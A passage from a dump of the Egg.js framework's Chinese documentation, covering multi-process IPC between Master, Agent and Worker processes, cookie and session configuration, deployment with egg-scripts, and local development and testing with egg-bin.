对象发送消息给 App Worker。\n  // 但是，需要等 App Worker 启动成功后才能发送，否则可能丢失消息。\n  agent.messenger.on('egg-ready', () => {\n    const data = { ... };\n    agent.messenger.sendToApp('xxx_action', data);\n  });\n};\n```\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.messenger.on('xxx_action', (data) => {\n    // ...\n  });\n};\n```\n\n这个例子中，`agent.js` 的代码将在 Agent 进程上执行，`app.js` 的代码则在 Worker 进程上执行。它们通过框架封装的 `messenger` 对象进行进程间通信（IPC）。后续章节会对框架的 IPC 进行详细讲解。\n\n### Master VS Agent VS Worker\n\n应用启动时，会同时创建三类进程。下表概述了每种进程的数量、作用、稳定性以及是否运行业务代码：\n\n| 类型   | 进程数量            | 作用                         | 稳定性 | 是否运行业务代码 |\n| ------ | ------------------- | ---------------------------- | ------ | ---------------- |\n| Master | 1                   | 进程管理，进程间消息转发     | 非常高 | 否               |\n| Agent  | 1                   | 后台运行工作（长连接客户端） | 高     | 少量             |\n| Worker | 通常设置为 CPU 核数 | 执行业务代码                 | 一般   | 是               |\n\n#### Master\n\n在此模型中，Master 进程负责进程管理，类似 [pm2]，它不运行业务代码。我们仅需启动一个 Master 进程，它就会自动管理 Worker、Agent 进程的初始化及重启。\n\nMaster 进程非常稳定，在线上环境中，我们通过 [egg-scripts] 后台运行 Master 进程即可，不需额外使用 [pm2] 等进程守护模块。\n\n```bash\n$ egg-scripts start --daemon\n```\n\n#### Agent\n\n在绝大多数情况下，编写业务代码时可以忽略 Agent 进程。但若需要代码仅运行在单个进程上，Agent 进程便显得尤为重要。\n\nAgent 进程因只有一个实例，且承担多种任务，因此不能轻易重启。遇到未捕获的异常时，Agent 进程会记录错误日志，**我们应对日志中的未捕获异常保持警惕**。\n\n#### Worker\n\nWorker 进程处理用户请求和[定时任务](../basics/schedule.md)。Egg 的定时任务可控制仅由一个 Worker 进程执行，**因此可被解决的问题不应放在 Agent 上**。\n\nWorker 进程因运行复杂的业务代码，稳定性相对较低。一旦 Worker 异常退出，Master 将重新启动一个新进程。\n\n## 进程间通讯（IPC）\n\n尽管 Worker 进程相对独立，它们间仍需通讯。以下是 Node.js 官方的 IPC 示例代码：\n\n```js\n'use strict';\nconst cluster = require('cluster');\n\nif (cluster.isMaster) {\n  const worker = cluster.fork();\n  worker.send('hi there');\n  worker.on('message', (msg) => {\n    console.log(`msg: ${msg} from worker#${worker.id}`);\n  });\n} else if (cluster.isWorker) {\n  process.on('message', (msg) => {\n    process.send(msg);\n  });\n}\n```\n\n注意到 cluster 的 IPC 仅在 Master 和 Worker/Agent 之间有效，Worker 与 Agent 间无法直接通讯。Worker 之间的通讯需要经由 Master 转发。\n\n```bash\n广播消息：Agent => 所有 Worker\n                  +--------+            +-------+\n                  | Master |<-----------| Agent |\n                  +--------+            +-------+\n                 /    |     \\\n                /     |      \\\n               /      |       \\\n              /       |        \\\n             v        v         v\n  +----------+   +----------+   +----------+\n  | Worker 1 |   | Worker 2 |   | Worker 3 |\n  +----------+   +----------+   +----------+\n\n指定接收方：一个 Worker => 另一个 Worker\n                  +--------+            +-------+\n                  | Master |------------| Agent |\n                  +--------+            +-------+\n                 ^    |\n                 |    | 发送至 Worker 2\n                 |    |\n                 |    v\n  +----------+   +----------+   +----------+\n  | Worker 1 |   | Worker 2 |   | Worker 3 |\n  +----------+   +----------+   +----------+\n```\n\n为简化调用，我们在 app 和 agent 实例上封装了 messenger 对象，并提供了友好的 API：\n\n### 发送\n\n- `app.messenger.broadcast(action, data)`: 向所有的 agent / app 进程发送消息（包括自己）。\n- `app.messenger.sendToApp(action, data)`: 发送至所有的 app 进程。\n  - app 上调用即发送至自己与其他 app\n  - agent 上调用则发送至所有 app 进程。\n- `app.messenger.sendToAgent(action, data)`: 发送消息至 agent 进程。\n  - app 上调用即发送至 agent\n  - agent 上调用即发送至自己。\n- `agent.messenger.sendRandom(action, data)`:\n  - app 上无此方法（Egg 实现与 sentToAgent 类似）\n  - agent 随机向某 app 进程发送消息（由 master 控制）。\n- `app.messenger.sendTo(pid, action, data)`: 向指定进程发送消息。\n\n```js\n// app.js\nmodule.exports = (app) => {\n  // 只有在 egg-ready 事件后才能发送消息\n  app.messenger.once('egg-ready', () => {\n    app.messenger.sendToAgent('agent-event', { foo: 'bar' });\n    app.messenger.sendToApp('app-event', { foo: 'bar' });\n  });\n};\n```\n\n所有 `app.messenger` 方法也可在 `agent.messenger` 上调用。\n\n#### egg-ready\n\n如上所述，在接到 `egg-ready` 消息后方可发送消息。只有当 Master 确认所有 Agent 和 Worker 启动成功并就绪后，才会通过 messenger 发送 `egg-ready` 通知每个 Agent 和 Worker，表示一切就绪，可使用 IPC。\n\n### 接收\n\n监听 messenger 上的相应 action 事件可收到其他进程发送的消息。\n\n```js\napp.messenger.on(action, (data) => {\n  // 处理数据\n});\napp.messenger.once(action, (data) => {\n  // 处理数据\n});\n```\n\n_agent 上收消息的方式与 app 相同。_\n\n---\n\n## IPC 实战\n\n我们通过一个简单的例子，来感受一下在框架的多进程模型下，如何使用 IPC 解决实际问题。\n\n### 需求\n\n我们有一个接口，需要从远程数据源中读取数据，并对外提供 API。但这个数据源的数据很少变化，因此我们希望将数据缓存到内存中以提升服务能力，降低 RT。此时就需要一个更新内存缓存的机制。\n\n1. 定时从远程数据源获取数据，更新内存缓存。为了降低对数据源的压力，我们会把更新间隔时间设置得较长。\n2. 远程数据源提供一个检查是否有数据更新的接口。我们的服务可以更频繁地调用此接口。当有数据更新时，才去重新拉取数据。\n3. 远程数据源通过消息中间件推送数据更新的消息。我们的服务监听此消息来更新数据。\n\n在实际项目中，我们可以采用方案一作为基础。结合方案三或方案二中的一种，以提升数据更新的实时性。而在这个示例中，我们会使用 IPC + [定时任务](../basics/schedule.md)，同时实现这三种更新方案。\n\n### 实现\n\n我们把所有与远程数据源交互的逻辑封装在一个 Service 中。并提供 `get` 方法给 Controller 调用。\n\n```js\n// app/service/source.js\nlet memoryCache = {};\n\nclass SourceService extends Service {\n  get(key) {\n    return memoryCache[key];\n  }\n\n  async checkUpdate() {\n    // check if remote data source has changed\n    const updated = await mockCheck();\n    this.ctx.logger.info('check update response %s', updated);\n    return updated;\n  }\n\n  async update() {\n    // update memory cache from remote\n    memoryCache = await mockFetch();\n    this.ctx.logger.info('update memory cache from remote: %j', memoryCache);\n  }\n}\n```\n\n编写定时任务，实现方案一。每 10 分钟定时从远程数据源获取数据并更新缓存做兜底。\n\n```js\n// app/schedule/force_refresh.js\nexports.schedule = {\n  interval: '10m',\n  type: 'all', // 在所有的 workers 中运行\n};\n\nexports.task = async (ctx) => {\n  await ctx.service.source.update();\n  ctx.app.lastUpdateBy = 'force';\n};\n```\n\n再编写一个定时任务，来实现方案二的检查逻辑。让一个 worker 每 10 秒调用一次检查接口。发现数据有变化时，通过 messenger 通知所有的 Worker。\n\n```js\n// app/schedule/pull_refresh.js\nexports.schedule = {\n  interval: '10s',\n  type: 'worker', // 只在一个 worker 中运行\n};\n\nexports.task = async (ctx) => {\n  const needRefresh = await ctx.service.source.checkUpdate();\n  if (!needRefresh) return;\n\n  // notify all workers to update memory cache from `file`\n  ctx.app.messenger.sendToApp('refresh', 'pull');\n};\n```\n\n在自定义启动文件中，监听 `refresh` 事件并更新数据。所有的 Worker 进程都能收到这个消息，并触发更新。此时，我们的方案二也已经完成。\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.messenger.on('refresh', (by) => {\n    app.logger.info('start update by %s', by);\n    // 创建一个匿名 context 来访问 service\n    const ctx = app.createAnonymousContext();\n    ctx.runInBackground(async () => {\n      await ctx.service.source.update();\n      app.lastUpdateBy = by;\n    });\n  });\n};\n```\n\n现在我们来看看如何实现第三个方案。我们需要一个消息中间件的客户端。它会和服务端维持长连接，适合在 Agent 进程上运行。这可以有效降低连接数，减少两端的消耗。所以我们在 Agent 进程上开启消息监听。\n\n```js\n// agent.js\n\nconst Subscriber = require('./lib/subscriber');\n\nmodule.exports = (agent) => {\n  const subscriber = new Subscriber();\n  // 监听变更事件，广播到所有 workers\n  subscriber.on('changed', () => agent.messenger.sendToApp('refresh', 'push'));\n};\n```\n\n通过合理使用 Agent 进程、定时任务和 IPC，我们可以轻松搞定类似的需求。同时也可降低对数据源的压力。具体的示例代码可以查看 [examples/ipc](https://github.com/eggjs/examples/tree/master/ipc)。\n\n## 更复杂的场景\n\n在上面的例子中，我们在 Agent 进程上运行了一个 subscriber，来监听消息中间件的消息。如果 Worker 进程也需要监听一些消息怎么办？如何通过 Agent 进程建立连接，再转发给 Worker 进程呢？这些问题可以在 [多进程模型增强](../advanced/cluster-client.md) 文档中找到答案。\n"
  },
  {
    "path": "site/docs/zh-CN/core/cookie-and-session.md",
    "content": "# Cookie 与 Session\n\n## Cookie\n\nHTTP 请求都是无状态的，但是我们的 Web 应用通常都需要知道发起请求的人是谁。为了解决这个问题，HTTP 协议设计了一个特殊的请求头：[Cookie](https://en.wikipedia.org/wiki/HTTP_cookie)。服务端可以通过响应头（set-cookie）将少量数据响应给客户端，浏览器会遵循协议将数据保存，并在下次请求同一个服务的时候带上（浏览器也会遵循协议，只在访问符合 Cookie 指定规则的网站时带上对应的 Cookie 来保证安全性）。\n\n通过 `ctx.cookies`，我们可以在 controller 中便捷、安全地设置和读取 Cookie。\n\n```js\nclass HomeController extends Controller {\n  async add() {\n    const ctx = this.ctx;\n    let count = ctx.cookies.get('count');\n    count = count ? Number(count) : 0;\n    ctx.cookies.set('count', ++count);\n    ctx.body = count;\n  }\n  async remove() {\n    const ctx = this.ctx;\n    ctx.cookies.set('count', null);\n    ctx.status = 204;\n  }\n}\n```\n\n#### `ctx.cookies.set(key, value, options)`\n\n设置 Cookie 其实是通过在 HTTP 响应中设置 `set-cookie` 头完成的，每一个 `set-cookie` 都会让浏览器在 Cookie 中存一个键值对。在设置 Cookie 值的同时，协议还支持许多参数来配置这个 Cookie 的传输、存储和权限。\n\n- `{Number} maxAge`：设置这个键值对在浏览器的最长保存时间。是一个从服务器当前时刻开始的毫秒数。\n- `{Date} expires`：设置这个键值对的失效时间。如果设置了 `maxAge`，`expires` 将会被覆盖。如果 `maxAge` 和 `expires` 都没设置，Cookie 将会在浏览器的会话失效（一般是关闭浏览器时）的时候失效。\n- `{String} path`：设置键值对生效的 URL 路径，默认设置在根路径上（`/`），也就是当前域名下的所有 URL 都可以访问这个 Cookie。\n- `{String} domain`：设置键值对生效的域名，默认没有配置，可以配置成只在指定域名才能访问。\n- `{Boolean} httpOnly`：设置键值对是否可以被 JS 访问，默认为 true，不允许被 JS 访问。\n- `{Boolean} secure`：设置键值对只在 HTTPS 连接上传输，框架会帮我们判断当前是否在 HTTPS 连接上自动设置 `secure` 的值。\n- `{Boolean} partitioned`：设置独立分区状态（简称 [CHIPS](https://developers.google.com/privacy-sandbox/3pcd/chips)）的 Cookie。注意，只有 `secure` 为 `true` 时此配置才会生效，并且目前仅 Chrome >=114 和 Firefox >= 131 [支持](https://developer.mozilla.org/en-US/docs/Web/Privacy/Privacy_sandbox/Partitioned_cookies#browser_compatibility)。\n- `{Boolean} removeUnpartitioned`：是否删除非独立分区状态的同名 cookie。注意，只有 `partitioned` 为 `true` 时此配置才会生效。\n- `{Boolean} priority`：设置 Cookie 的优先级，可选值为 `Low`、`Medium`、`High`，目前只有 [Chrome >= 81](https://bugs.chromium.org/p/chromium/issues/detail?id=232693) 实现，可以在 [DevTools 中查看](https://developer.chrome.com/blog/new-in-devtools-81?hl=zh-cn#cookiepriority)。请注意不要和 HTTP 的 [`Priority` header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Priority) 混淆。\n\n除了这些属性之外，框架另外扩展了三个参数的支持：\n\n- `{Boolean} overwrite`：设置 key 相同的键值对如何处理。如果设置为 true，则后设置的值会覆盖前面设置的；否则将会发送两个 set-cookie 响应头。\n- `{Boolean} signed`：设置是否对 Cookie 进行签名。如果设置为 true，则设置键值对的时候会同时对这个键值对的值进行签名，后面取的时候做校验，可以防止前端对这个值进行篡改。默认为 true。\n- `{Boolean} encrypt`：设置是否对 Cookie 进行加密。如果设置为 true，则在发送 Cookie 前会对这个键值对的值进行加密，客户端无法读取到 Cookie 的明文值。默认为 false。\n\n在设置 Cookie 时我们需要思考清楚这个 Cookie 的作用，它需要被浏览器保存多久？是否可以被 js 获取到？是否可以被前端修改？\n\n默认的配置下，Cookie 是加签不加密的，浏览器可以看到明文，js 不能访问，不能被客户端（手工）篡改。\n\n- 如果想要 Cookie 在浏览器端可以被 js 访问并修改：\n\n```js\nctx.cookies.set(key, value, {\n  httpOnly: false,\n  signed: false,\n});\n```\n\n- 如果想要 Cookie 在浏览器端不能被修改，不能看到明文：\n\n```js\nctx.cookies.set(key, value, {\n  httpOnly: true, // 默认就是 true\n  encrypt: true, // 加密传输\n});\n```\n\n注意：\n\n1. 由于[浏览器和其他客户端实现的不确定性](http://stackoverflow.com/questions/7567154/can-i-use-unicode-characters-in-http-headers)，为了保证 Cookie 可以写入成功，建议 value 通过 base64 编码或者其他形式 encode 之后再写入。\n2. 由于[浏览器对 Cookie 有长度限制](http://stackoverflow.com/questions/640938/what-is-the-maximum-size-of-a-web-browsers-cookies-key)，所以尽量不要设置太长的 Cookie。一般来说不要超过 4093 bytes。当设置的 Cookie value 大于这个值时，框架会打印一条警告日志。\n\n#### `ctx.cookies.get(key, options)`\n\n由于 HTTP 请求中的 Cookie 是在一个 header 中传输过来的，通过框架提供的这个方法可以快速地从整段 Cookie 中获取对应的键值对的值。上面在设置 Cookie 的时候，我们可以设置 `options.signed` 和 `options.encrypt` 来对 Cookie 进行签名或加密，因此对应的在获取 Cookie 的时候也要传递相匹配的选项。\n\n- 如果设置的时候指定为 signed，获取时未指定，则不会在获取时对取到的值做验签，可能导致被客户端篡改。\n- 如果设置的时候指定为 encrypt，获取时未指定，则无法获取到真实的值，而是加密过后的密文。\n\n如果要获取前端或者其他系统设置的 cookie，需要指定参数 `signed` 为 `false`，避免验签导致获取不到 cookie 的值。\n\n```js\nctx.cookies.get('frontend-cookie', {\n  signed: false,\n});\n```\n\n### Cookie 秘钥\n\n由于我们在 Cookie 中需要用到加解密和验签，所以需要配置一个秘钥供加密使用。在 `config/config.default.js` 中：\n\n```js\nmodule.exports = {\n  keys: 'key1,key2',\n};\n```\n\nkeys 配置成一个字符串，可以按照逗号分隔配置多个 key。Cookie 在使用这个配置进行加解密时：\n\n- 加密和加签时只会使用第一个秘钥。\n- 解密和验签时会遍历 keys 进行解密。\n\n如果我们想要更新 Cookie 的秘钥，但是又不希望之前设置到用户浏览器上的 Cookie 失效，可以将新的秘钥配置到 keys 最前面，等过一段时间之后再删除不需要的秘钥即可。\n\n## Session\n\nCookie 通常用作 Web 应用中标识请求方身份的功能，基于此，Web 应用封装了 Session 概念，专用于用户身份识别。\n\n框架内置了 [Session](https://github.com/eggjs/session) 插件，提供了 `ctx.session` 用于访问或修改当前用户的 Session。\n\n```js\nclass HomeController extends Controller {\n  async fetchPosts() {\n    const ctx = this.ctx;\n    // 获取 Session 上的内容\n    const userId = ctx.session.userId;\n    const posts = await ctx.service.post.fetch(userId);\n    // 修改 Session 的值\n    ctx.session.visited = ctx.session.visited ? ctx.session.visited + 1 : 1;\n    ctx.body = {\n      success: true,\n      posts,\n    };\n  }\n}\n```\n\nSession 的使用方法非常直观，直接读取或修改即可。若需删除 Session，将其赋值为 null：\n\n```js\nctx.session = null;\n```\n\n需要 **特别注意** 的是，设置 session 属性时要避免以下情况，否则可能导致字段丢失（详见 [koa-session](https://github.com/koajs/session/blob/master/lib/session.js#L37-L47) 源码）：\n\n- 不以 `_` 开头\n- 不使用 `isNew`\n\n```js\n// ❌ 错误的用法\nctx.session._visited = 1; // 该字段会在下一次请求时丢失\nctx.session.isNew = 'HeHe'; // 为内部关键字，不应更改\n\n// ✔️ 正确的用法\nctx.session.visited = 1; // 无问题\n```\n\nSession 默认基于 Cookie 实现，内容加密后直接存储在 Cookie 的字段中。每次请求带上这个 Cookie，服务端解密后使用。默认配置如下：\n\n```js\nexports.session = {\n  key: 'EGG_SESS',\n  maxAge: 24 * 3600 * 1000, // 1 天\n  httpOnly: true,\n  encrypt: true,\n};\n```\n\n上述参数除 `key` 外均为 Cookie 的参数，`key` 代表存储 Session 的 Cookie 键值对的 key。默认配置下，存放 Session 的 Cookie 将加密存储、前端 js 不可访问，保障用户 Session 安全。\n\n### 扩展存储\n\nSession 默认存放在 Cookie 中可能出现问题：浏览器有最大 Cookie 长度限制，过大的 Session 可能被拒绝保存，且每次请求Session 会增加额外传输负担。\n\n框架允许将 Session 存储到 Cookie 之外的存储，只需设置 `app.sessionStore` 即可：\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.sessionStore = {\n    async get(key) {\n      // 返回值\n    },\n    async set(key, value, maxAge) {\n      // 设置 key 到存储\n    },\n    async destroy(key) {\n      // 销毁 key\n    },\n  };\n};\n```\n\n例如，通过引入 [@eggjs/redis](https://github.com/eggjs/redis) 和 [@eggjs/session-redis](https://github.com/eggjs/session-redis) 插件，可以将 Session 存储到 redis 中。\n\n```js\n// plugin.js\nexports.redis = {\n  enable: true,\n  package: '@eggjs/redis',\n};\nexports.sessionRedis = {\n  enable: true,\n  package: '@eggjs/session-redis',\n};\n```\n\n**注意**：将 Session 存入外部存储意味着系统强依赖该存储。建议仅将必要信息存于 Session，并保持其精简使用默认的 Cookie 存储，不将用户级别的缓存存于 Session。\n\n### Session 实践\n\n#### 修改用户 Session 失效时间\n\nSession 配置中的 `maxAge` 可全局设置有效期。**记住我** 功能中，可针对特定用户的 Session 设置不同有效时间，通过 `ctx.session.maxAge=` 实现：\n\n```js\nconst ms = require('ms');\nclass UserController extends Controller {\n  async login() {\n    const ctx = this.ctx;\n    const { username, password, rememberMe } = ctx.request.body;\n    const user = await ctx.loginAndGetUser(username, password);\n\n    // 设置 Session\n    ctx.session.user = user;\n    // 勾选 `记住我` 时，设置 30 天过期时间\n    if (rememberMe) ctx.session.maxAge = ms('30d');\n  }\n}\n```\n\n#### 延长用户 Session 有效期\n\n默认情况下，未修改 Session 的请求不延长有效期。某些场景下希望用户长期访问站点时延长 Session 有效期，`renew` 配置项可实现此功能，如 Session 剩余有效期少于半时，重置有效期：\n\n```js\n// config/config.default.js\nexports.session = {\n  renew: true,\n};\n```\n"
  },
  {
    "path": "site/docs/zh-CN/core/deployment.md",
    "content": "# 应用部署\n\n在[本地开发](./development.md)时，我们使用 `egg-bin dev` 来启动服务，但在部署应用时不可以这样使用。因为 `egg-bin dev` 会针对本地开发做很多处理，而生产环境需要一个更加简单稳定的方式。本章主要讲解如何部署你的应用。\n\n一般从源码到运行，会分为构建和部署两步，实现**一次构建、多次部署**。\n\n## 构建\n\nJavaScript 语言本身不需要编译，构建过程主要是下载依赖。如果使用 TypeScript 或 Babel 支持 ES6 及以上特性，则必须构建。\n\n一般安装依赖时，会指定 `NODE_ENV=production` 或 `npm install --production` 仅安装核心依赖。因为开发依赖包体积大，在生产环境不必要，且可能导致问题。\n\n```bash\n$ cd baseDir\n$ npm install --production\n$ tar -zcvf ../release.tgz .\n```\n\n构建后，将其打包为 tgz 文件。部署时解压启动即可。\n\n增加构建环节，能实现真正的**一次构建、多次部署**。理论上，代码未变更时，无需重构，可用原包部署，带来诸多好处：\n\n- 构建环境与运行环境差异，避免污染运行环境。\n- 缩短发布时间，便于回滚，只需重启原包即可。\n\n## 部署\n\n服务器需要预装 Node.js，框架支持 Node 版本 `>= 14.20.0`。\n\n框架内置 [egg-cluster] 启动 [Master 进程](./cluster-and-ipc.md#master)，Master 稳定，不需 [pm2] 等进程守护模块。\n\n框架同时提供 [egg-scripts] 支持线上运行和停止。\n\n首先，将 `egg-scripts` 模块引入 `dependencies`：\n\n```bash\n$ npm i egg-scripts --save\n```\n\n`package.json` 添加 `npm scripts`：\n\n```json\n{\n  \"scripts\": {\n    \"start\": \"egg-scripts start --daemon\",\n    \"stop\": \"egg-scripts stop\"\n  }\n}\n```\n\n现在，可以通过 `npm start` 和 `npm stop` 启停应用。\n\n> 注意：Windows 系统下 `egg-scripts` 支持有限，详见 [#22](https://github.com/eggjs/egg-scripts/pull/22)。\n\n### 启动命令\n\n```bash\n$ egg-scripts start --port=7001 --daemon --title=egg-server-showcase\n```\n\n示例支持参数如下：\n\n- `--port=7001`：端口号，默认读取 `process.env.PORT`，未传递则使用内置端口 `7001`。\n- `--daemon`：启用后台模式，不需 `nohup`，使用 Docker 时建议前台运行。\n- `--env=prod`：运行环境，默认读取 `process.env.EGG_SERVER_ENV`，未传递则使用内置 `prod`。\n- `--workers=2`：worker 数，默认创建与 CPU 核数等量的 app worker，利用 CPU 资源。\n- `--title=egg-server-showcase`：便于 ps 进程时 grep，未设置默认为 `egg-server-${appname}`。\n- `--framework=yadan`：使用[自定义框架](../advanced/framework.md)时，配置 `package.json` 的 `egg.framework` 或指定该参数。\n- `--ignore-stderr`：忽略启动期错误。\n- `--https.key`：HTTPS 密钥路径。\n- `--https.cert`：HTTPS 证书路径。\n\n[egg-cluster] 的所有 Options 支持透传，如 `--port` 等。\n\n更多参数见 [egg-scripts] 和 [egg-cluster] 文档。\n\n> 注意：`--workers` 默认由 `process.env.EGG_WORKERS` 或 `os.cpus().length` 设置，Docker 中 `os.cpus().length` 可能大于核数，值较大可能导致失败，需手动设置 `--workers`，详见 [#1431](https://github.com/eggjs/egg/issues/1431#issuecomment-573989059)。\n\n#### 启动配置项\n\n`config.{env}.js` 中可指定启动配置。\n\n```js\n// config/config.default.js\n\nexports.cluster = {\n  listen: {\n    port: 7001,\n    hostname: '127.0.0.1', // 不建议设置为 '0.0.0.0'，可能导致外部连接风险，请了解后使用\n    // path: '/var/run/egg.sock',\n  },\n};\n```\n\n`path`、`port`、`hostname` 见 [server.listen](https://nodejs.org/api/http.html#http_server_listen_port_hostname_backlog_callback) 参数。`egg-scripts` 和 `egg.startCluster` 传入的 port 优先级高于此配置。\n\n### 停止命令\n\n```bash\n$ egg-scripts stop [--title=egg-server]\n```\n\n该命令杀死 master 进程，并优雅退出 worker 和 agent。\n\n支持参数：\n\n- `--title=egg-server`：杀死指定 Egg 应用，未设置则终止所有 Egg 应用。\n\n也可通过 `ps -eo \"pid,command\" | grep -- \"--title=egg-server\"` 查找 master 进程，并 `kill` 掉，不需 `kill -9`。\n\n## 监控\n\n我们还需要对服务进行性能监控、内存泄露分析、故障排除等。\n\n业界常用的有：\n\n- [Node.js 性能平台（Alinode）](https://www.aliyun.com/product/nodejs)\n- [NSolid](https://nodesource.com/products/nsolid/)\n\n### Node.js 性能平台（Alinode）\n\n**注意**：Node.js 性能平台（Alinode）目前仅支持 macOS 和 Linux，不支持 Windows。\n\n[Node.js 性能平台](https://www.aliyun.com/product/nodejs)是面向所有 Node.js 应用提供性能监控、安全提醒、故障排查、性能优化等服务的整体性解决方案。它提供完善的工具链和服务，协助开发者快速发现和定位线上问题。\n\n#### 安装 Runtime\n\nAlinode Runtime 可以直接替换掉 Node.js Runtime，对应版本参见[文档](https://help.aliyun.com/knowledge_detail/60811.html)。\n\n全局安装方式参见[文档](https://help.aliyun.com/document_detail/60338.html)。\n\n有时候，同时部署多个项目，期望多版本共存时，则可以把 Runtime 安装到当前项目：\n\n```bash\n$ npm i nodeinstall -g\n$ nodeinstall --install-alinode ^3\n```\n\n[nodeinstall]会把对应版本的 `alinode` 安装到项目的 `node_modules` 目录下。\n\n> 注意：打包机的操作系统和线上系统需保持一致，否则对应的 Runtime 不一定能正常运行。\n\n#### 安装及配置\n\n我们提供了[egg-alinode]来快速接入，无需安装 `agenthub` 等额外的常驻服务。\n\n**安装依赖**：\n\n```bash\n$ npm i egg-alinode --save\n```\n\n**开启插件**：\n\n```js\n// config/plugin.js\nexports.alinode = {\n  enable: true,\n  package: 'egg-alinode',\n};\n```\n\n**配置**：\n\n```js\n// config/config.default.js\nexports.alinode = {\n  // 从 `Node.js 性能平台` 获取对应的接入参数\n  appid: '<YOUR_APPID>',\n  secret: '<YOUR_SECRET>',\n};\n```\n\n### 启动应用\n\n`npm scripts` 配置的 `start` 指令无需改变，通过 `egg-scripts` 即可。\n\n启动命令需使用 `npm start`，因为 `npm scripts` 执行时会把 `node_module/.bin` 目录加入 `PATH`，故会优先使用当前项目执行的 Node 版本。\n\n启动后会看到 master 日志包含以下内容：\n\n```bash\n$ [master] node version v8.9.4\n$ [master] alinode version v3.8.4\n$ [Tue Aug 06 2019 15:54:25 GMT+0800 (China Standard Time)] Connecting to wss://agentserver.node.aliyun.com:8080...\n$ [Tue Aug 06 2019 15:54:26 GMT+0800 (China Standard Time)] agent register ok.\n```\n\n其中`agent register ok.`表示配置的 `egg-alinode` 正确连接上了 Node.js 性能平台服务器。\n\n#### 访问控制台\n\n控制台地址：[https://node.console.aliyun.com](https://node.console.aliyun.com)\n\n[egg-cluster]: https://github.com/eggjs/egg-cluster\n[egg-scripts]: https://github.com/eggjs/egg-scripts\n[egg-alinode]: https://github.com/eggjs/egg-alinode\n[pm2]: https://github.com/Unitech/pm2\n[nodeinstall]: https://github.com/cnpm/nodeinstall\n"
  },
  {
    "path": "site/docs/zh-CN/core/development.md",
    "content": "# 本地开发\n\n为了提升研发体验，我们提供了便捷的方式在本地进行开发、调试、单元测试等。\n\n在这里我们需要使用到 [egg-bin] 模块（只在本地开发和单元测试使用，如果线上请参考 [应用部署](./deployment.md)）。\n\n首先，我们需要把 `egg-bin` 模块作为 `devDependencies` 引入：\n\n```bash\n$ npm i egg-bin --save-dev\n```\n\n## 启动应用\n\n本地启动应用进行开发活动，当我们修改代码并保存后，应用会自动重启实时生效。\n\n### 添加命令\n\n向 `package.json` 中添加 `npm scripts`：\n\n```json\n{\n  \"scripts\": {\n    \"dev\": \"egg-bin dev\"\n  }\n}\n```\n\n这样我们就可以通过 `npm run dev` 命令启动应用。\n\n### 环境配置\n\n本地启动的应用是以 `env: local` 启动的，读取的配置是 `config.default.js` 和 `config.local.js` 合并的结果。\n\n> 注意：本地开发环境依赖 `@eggjs/development` 插件，该插件默认开启，而在其他环境下关闭。配置参考 [config/config.default.ts](https://github.com/eggjs/development/blob/master/src/config/config.default.ts)。\n\n### 关于 `Reload` 功能\n\n以下目录（包括子目录）在开发环境下默认会监听文件变化，一旦发生变化，将触发 Egg 服务器重载：\n\n- `${app_root}/app`\n- `${app_root}/config`\n- `${app_root}/mocks`\n- `${app_root}/mocks_proxy`\n- `${app_root}/app.js`\n\n> 若设置 `config.development.overrideDefault` 为 `true`，则会跳过默认合并。\n\n以下目录（包括子目录）在开发环境下默认忽略文件改动：\n\n- `${app_root}/app/view`\n- `${app_root}/app/assets`\n- `${app_root}/app/public`\n- `${app_root}/app/web`\n\n> 若设置 `config.development.overrideIgnore` 为 `true`，则会跳过默认合并。\n\n### 指定端口\n\n本地启动应用默认监听 7001 端口，你也可以指定其他端口，例如：\n\n```json\n{\n  \"scripts\": {\n    \"dev\": \"egg-bin dev --port 7001\"\n  }\n}\n```\n\n## 单元测试\n\n这里主要讲解工具部分的使用，更多关于单元测试的内容请参考[这里](./unittest.md)。\n\n### 添加命令\n\n在 `package.json` 中添加 `npm scripts`：\n\n```json\n{\n  \"scripts\": {\n    \"test\": \"egg-bin test\"\n  }\n}\n```\n\n我们可以通过执行 `npm test` 命令来运行单元测试。\n\n### 环境配置\n\n测试用例执行时，应用以 `env: unittest` 启动，读取的配置是 `config.default.js` 和 `config.unittest.js` 合并的结果。\n\n### 运行特定用例文件\n\n执行 `npm test` 会自动运行 test 目录下的以 `.test.js` 结尾的文件（默认 glob 匹配规则 `test/**/*.test.js`）。\n\n如果只想执行正在编写的用例，可以通过下列方式指定特定用例文件：\n\n```bash\n$ TESTS=test/x.test.js npm test\n```\n\n该方式支持 glob 规则。\n\n### 指定 reporter\n\nMocha 支持多种形式的 reporter，默认是 `spec` reporter。\n\n通过设置 `TEST_REPORTER` 环境变量来指定 reporter，例如 `dot`：\n\n```bash\n$ TEST_REPORTER=dot npm test\n```\n\n![image](https://cloud.githubusercontent.com/assets/156269/21849809/a6fe6df8-d842-11e6-8507-20da63bc8b62.png)\n\n### 指定用例超时时间\n\n用例默认超时时间是 30 秒。也可以手动设置超时时间（单位毫秒），例如设为 5 秒：\n\n```bash\n$ TEST_TIMEOUT=5000 npm test\n```\n\n### 通过 argv 方式传参\n\n`egg-bin test` 不仅支持环境变量传参，还支持直接传参，包括所有 mocha 参数，详情见：[mocha usage](https://mochajs.org/#usage) 。\n\n```bash\n$ # npm 传参需额外加 `--`，详情见 https://docs.npmjs.com/cli/run-script\n$ npm test -- --help\n$\n$ # 相当于 `TESTS=test/**/test.js npm test`，但加双引号更佳，避免 bash 限制\n$ npm test \"test/**/test.js\"\n$\n$ # 相当于 `TEST_REPORTER=dot npm test`\n$ npm test -- --reporter=dot\n$\n$ # 支持 mocha 参数，如 grep、require 等\n$ npm test -- -t 30000 --grep=\"should GET\"\n```\n\n## 代码覆盖率\n\negg-bin 已内置 [nyc](https://github.com/istanbuljs/nyc) 支持单元测试生成代码覆盖率报告。\n\n在 `package.json` 中添加 `npm scripts`：\n\n```json\n{\n  \"scripts\": {\n    \"cov\": \"egg-bin cov\"\n  }\n}\n```\n\n我们可以通过 `npm run cov` 命令运行测试覆盖率。\n\n```bash\n$ egg-bin cov\n\n  test/controller/home.test.js\n    GET /\n      ✓ should status 200 and get the body\n    POST /post\n      ✓ should status 200 and get the request body\n\n  ...\n\n  16 passing (1s)\n\n=============================== Coverage summary ===============================\nStatements   : 100% ( 41/41 )\nBranches     : 87.5% ( 7/8 )\nFunctions    : 100% ( 10/10 )\nLines        : 100% ( 41/41 )\n================================================================================\n```\n\n还可以通过 `open coverage/lcov-report/index.html` 命令来查看完整 HTML 